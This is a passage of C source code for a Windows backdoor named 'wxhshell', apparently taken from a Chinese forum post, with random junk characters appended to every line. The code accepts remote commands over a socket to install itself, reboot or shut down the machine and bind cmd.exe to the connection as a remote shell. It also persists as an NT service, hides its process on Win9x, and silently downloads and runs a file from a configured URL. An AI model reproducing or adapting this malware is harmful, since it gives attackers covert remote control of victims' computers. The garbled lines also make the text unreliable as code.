  else { Cx/J_Ro#  
R?:Q=7K  
    switch(cmd[0]) { ~D|,$E tX4  
  V~/-e- 9u  
  // 帮助 ,C><n kx  
  case '?': { \a|~#N3?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lGR0-Gh2  
    break; bsU$$;  
  } >FOCdlJ#  
  // 安装 Ot\[Ya''  
  case 'i': { Y ?n4#J<  
    if(Install()) d ([~o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yc3/5]E&  
    else )}N:t:rry  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vw3[(_MV3_  
    break; [fT$# '6  
    } JZxA:dg l  
  // 卸载 c,;VnZ 9wC  
  case 'r': { _^(1Qb[  
    if(Uninstall()) t'At9<ib  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ym\<@[3+!  
    else !\1)?&y9j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jR[c3EA ;  
    break; &a=rJvnIO&  
    } 8+gp"!E  
  // 显示 wxhshell 所在路径 j?|Vx'  
  case 'p': { [s]$&  
    char svExeFile[MAX_PATH]; :fL7"\ pf~  
    strcpy(svExeFile,"\n\r"); K.wRz/M& g  
      strcat(svExeFile,ExeFile); d1c+Ii%  
        send(wsh,svExeFile,strlen(svExeFile),0); Fs4shrt  
    break; N_B^k8j  
    } q|]CA  
  // 重启 _wb]tE ~g  
  case 'b': { l#^?sbG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %regt{  
    if(Boot(REBOOT)) F4T!&E%6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N]/cBGy  
    else { rL"]m_FK  
    closesocket(wsh); 2%R.~9HtA  
    ExitThread(0); +<p&V a#  
    } 6AY( /N8V  
    break; LFi* O&  
    } svEe@Kt`  
  // 关机 Os>&:{D4!  
  case 'd': { (Ytr&gh;0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Et }%)M  
    if(Boot(SHUTDOWN)) K{DmMi];I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !=,zy  
    else { ]W Yub1  
    closesocket(wsh); >/4[OPB0R  
    ExitThread(0); #V/{DPz  
    } 52o^]  
    break; BI,]pf;GWv  
    } 9RJ#zUK  
  // 获取shell oVHe<zE.  
  case 's': { V~/@KU8cH  
    CmdShell(wsh); ~:Z|\a58j  
    closesocket(wsh); NV/paoyx:*  
    ExitThread(0); iOv>g-t:  
    break; =e#h;x2  
  } n]4Elrxx  
  // 退出 (#>X*~6  
  case 'x': { Fyw X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u5rvrn ]  
    CloseIt(wsh); ZaY|v-  
    break; <h#W*a  
    } )ej1)RU"  
  // 离开  Hk4k  
  case 'q': { |H^v8^%>zm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nxuH22:  
    closesocket(wsh); Gq[5H(0/c  
    WSACleanup(); !'# D~   
    exit(1); sDg1nKw(  
    break; 3p HI+a  
        } 1@'I eywg  
  } {#?|&n<  
  } + (:Qf+:  
(:E@kpK  
  // 提示信息 S`b!sT-sD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;/4x.t#b  
} F`e E*&  
  } *^ G,  
kzCJs  
  return; N\tFK*U^I  
} 2eRk_j]  
fHZ9wK>  
// shell模块句柄 l}(HE+?  
int CmdShell(SOCKET sock) ;(}~m&p  
{ lAo~w  
STARTUPINFO si; 7O|`\&RY R  
ZeroMemory(&si,sizeof(si)); F%lC%~-qh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^vSSG5  :  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pV8tn!  
PROCESS_INFORMATION ProcessInfo; -"'+#9{h  
char cmdline[]="cmd"; o58c!44  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "S'Yn-  
  return 0; (m Yi  
} /=za m3kd  
K0vS  
// 自身启动模式 YhRy C*b  
int StartFromService(void) 7;TMxO=bra  
{ ,37<F XX,  
typedef struct ;q%z\gA  
{ JBc*m  
  DWORD ExitStatus; *wJz0ex7R/  
  DWORD PebBaseAddress; _(:$ :*@  
  DWORD AffinityMask; vc3r [mT  
  DWORD BasePriority; "R)n1,0  
  ULONG UniqueProcessId; =#Jx~d[C  
  ULONG InheritedFromUniqueProcessId; ]57Ef'N  
}   PROCESS_BASIC_INFORMATION; ~$^ >Vo  
c}S<<LR  
PROCNTQSIP NtQueryInformationProcess; +C7W2!I[G2  
l+y;>21sTu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sb_/FE5e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cg]Gt1SU  
^uw]/H3?L  
  HANDLE             hProcess; j$6Q]5KdoS  
  PROCESS_BASIC_INFORMATION pbi; ,2FI?}+R  
iE;F=Rb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oVp/EQ  
  if(NULL == hInst ) return 0; rzie_)a Y%  
2)$-L'YS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [P~7kNFOh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UB>BVBCt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0x*|X@ 6\  
o>+mw|{  
  if (!NtQueryInformationProcess) return 0; FY)]yz  
g<^A(zM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |Axbx?  
  if(!hProcess) return 0; ~bzac2Rp  
NB^Al/V@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /G]/zlUE  
L|(U%$  
  CloseHandle(hProcess); bxO/FrwTj{  
hCgk78O?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H*N{4zBB  
if(hProcess==NULL) return 0; iC!6g|]X  
'ks  .TS&  
HMODULE hMod; 6q`)%"4k  
char procName[255]; 8n2;47 a  
unsigned long cbNeeded; <f.Eog  
{=J:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }C[ "'tLX  
EAWBgOO8iC  
  CloseHandle(hProcess); %}~(%@qB>+  
|9FrVO$M  
if(strstr(procName,"services")) return 1; // 以服务启动 UNv!G/i-5  
/7+b.h])^  
  return 0; // 注册表启动 =\5f_g2M  
} G[u6X_Q  
tZg)VJQys  
// 主模块 vy={ziJ  
int StartWxhshell(LPSTR lpCmdLine) "u$XEA  
{ /D|q-`*K  
  SOCKET wsl; s]A8C^;c  
BOOL val=TRUE; [%6)  
  int port=0; pH3\X cn  
  struct sockaddr_in door; w03Ur4>T  
WH7UJCQ  
  if(wscfg.ws_autoins) Install(); {LA?v& b'  
a!u5}[{  
port=atoi(lpCmdLine); Rq?t=7fX)  
"dOQ)<;  
if(port<=0) port=wscfg.ws_port; d2U?rw_  
v}AjW%rB  
  WSADATA data; hc0$mit  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #E\6:UnT  
%8Y+Df;ax  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CHO_3QIz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >@?mP$;=  
  door.sin_family = AF_INET; *""W`x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i+T5 (P$  
  door.sin_port = htons(port); -jrAk  
5efN5Kt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BOA7@Zaa$p  
closesocket(wsl); *$;Zk!sEF  
return 1; a ^juZ  
} x\:KfYr4Y;  
br k*;  
  if(listen(wsl,2) == INVALID_SOCKET) { ~d\V>  
closesocket(wsl); 1BEc"  
return 1; C+`V?rp=s  
} H{9P=l  
  Wxhshell(wsl); [wQJVYv  
  WSACleanup(); Z1$U[Tsd  
8D?$@!-  
return 0; ~FXq%-J  
7\nXJ381  
} S&[9Vb  
glROT@  
// 以NT服务方式启动 ij3W8i9'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^liW*F"UY  
{ L+@X]O W8  
DWORD   status = 0; P&: [pPG  
  DWORD   specificError = 0xfffffff; =^{MyR7  
DNqC*IvuzM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p__N6a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;GOu'34j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [C;Neslo  
  serviceStatus.dwWin32ExitCode     = 0; XUUP#<,s  
  serviceStatus.dwServiceSpecificExitCode = 0; BjTgZ98J  
  serviceStatus.dwCheckPoint       = 0; 8~RJnwF^  
  serviceStatus.dwWaitHint       = 0; H*f2fyC1\  
/e|qyWs  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X$P(8'[9A  
  if (hServiceStatusHandle==0) return; G7-k ,P^  
,BGUIu6  
status = GetLastError(); PVljb=8F  
  if (status!=NO_ERROR) tW-[.Y -M,  
{ w"QZ7EyJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4qsxlN>4O  
    serviceStatus.dwCheckPoint       = 0; g$hEVT  
    serviceStatus.dwWaitHint       = 0; x7i<dg&  
    serviceStatus.dwWin32ExitCode     = status; BE~-0g$W  
    serviceStatus.dwServiceSpecificExitCode = specificError; _]D 6m2R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ! jDopE0L  
    return; D8Mq '$-  
  } 5.yiNWh  
II~91IEk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; : vgn0 IQ  
  serviceStatus.dwCheckPoint       = 0; aiE\r/k8s  
  serviceStatus.dwWaitHint       = 0; [)0^*A2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dmLx$8  
} !yq98I'  
/P]N40_@  
// 处理NT服务事件,比如:启动、停止 CM[83>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4"!kCUB  
{ B J I N  
switch(fdwControl) 7#9%,6Yi  
{ $T7 qd  
case SERVICE_CONTROL_STOP: Nvh& =%{g  
  serviceStatus.dwWin32ExitCode = 0; 15' fU!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9!Xp+<  
  serviceStatus.dwCheckPoint   = 0; Cp>y<C"  
  serviceStatus.dwWaitHint     = 0; CW/L(RQ  
  { A9"!=/~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^\J-LU|"B  
  } GY0OVAW6'c  
  return; s&$e}yxVO  
case SERVICE_CONTROL_PAUSE: Zv-1*hhHf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0E (G1o'  
  break; &0%B3  
case SERVICE_CONTROL_CONTINUE: ORWi+H|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]A#:Uc5  
  break; MOp "kA  
case SERVICE_CONTROL_INTERROGATE: W_3BL]^=  
  break; M_r[wYt!  
}; K3 ,PmI&W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oJ" D5d,  
} |m@>AbR5dk  
+StsSZ  
// 标准应用程序主函数 w&J_c8S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8ZCA vEy  
{ ]gaeN2  
HPt\ BK  
// 获取操作系统版本 d'3"A"9R7-  
OsIsNt=GetOsVer(); Ss\?SEq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &k-NDh3  
7-u'x[=m  
  // 从命令行安装 Q&?0 ^;r  
  if(strpbrk(lpCmdLine,"iI")) Install(); hJir_=  
ssoE,6kS  
  // 下载执行文件 MLmaA3  
if(wscfg.ws_downexe) { 5a)$:oO!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) se=^K#o  
  WinExec(wscfg.ws_filenam,SW_HIDE); :h3n[%  
} dZb;`DjTH  
UTN[! 0[  
if(!OsIsNt) { .P?n<n#  
// 如果时win9x,隐藏进程并且设置为注册表启动 2Yd@ V}  
HideProc(); [cl+AV "  
StartWxhshell(lpCmdLine); 2cRru]VZ5  
} I Xm[c@5l  
else $% gz, {  
  if(StartFromService()) .n)R@&9  
  // 以服务方式启动 ue'dI   
  StartServiceCtrlDispatcher(DispatchTable); 3#>%_@<  
else Qc PU{#6  
  // 普通方式启动 NPM2qL9&J  
  StartWxhshell(lpCmdLine); ,\aL v  
eQn[  
return 0; ?cKTeGrS  
}
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只看该作者 1 发表于: 2006-10-10
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